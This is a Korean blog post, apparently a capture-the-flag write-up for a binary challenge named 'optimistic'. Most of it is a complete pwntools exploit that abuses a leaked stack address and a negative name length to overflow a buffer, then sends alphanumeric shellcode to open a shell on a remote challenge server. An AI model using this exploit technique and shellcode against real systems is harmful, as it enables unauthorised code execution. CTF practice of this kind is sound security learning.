728x90
이건 보너스 사진
오우야 disas main 하니까 살벌하네요 흠냐
기본적인 메커니즘은 매우 쉽게 구성되어 있었습니다
제 친구인 인공지능에게 물어보니 아주 친절하게 설명해주는군요
그래서 요로코롬
쨔란 이렇게 하시면 됩니다 어차피 0pts이니 공개합니당
from pwn import *
target = './optimistic'
elf = context.binary = ELF(target, checksec=False)
context.log_level = 'debug'
p = remote("178.62.88.144", 30216)
#p = process('./optimistic')
p.sendlineafter(b":", "y")
p.recvuntil(b"Great! Here's a small welcome gift: ")
shellcode_addr = int(p.recvline(), 16)
shellcode_addr = shellcode_addr - 96
offset = 104
p.sendlineafter(b"Email:", b"sf")
p.sendlineafter(b"Age:", b"1234")
p.sendlineafter(b"Length of name:", b"-1")
shellcode = b""
shellcode += b"XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V"
shellcode += b"0"*(104-len(shellcode))
shellcode += p64(shellcode_addr)
p.sendlineafter("Name:", shellcode)
p.interactive()
728x90
'호그와트' 카테고리의 다른 글
태양계 영어 이름으로 출력 (0) | 2022.12.14 |
---|---|
와이어샤크 정도는 기본적으로 다룰 줄 알아야 해커가 아닐까요? (0) | 2022.12.14 |
어려운 해킹을 단박에 잘하는 방법 (0) | 2022.12.12 |
옹야잉 배트맨 해킹 2 (0) | 2022.12.10 |
옹야잉 배트맨 해킹 (0) | 2022.12.10 |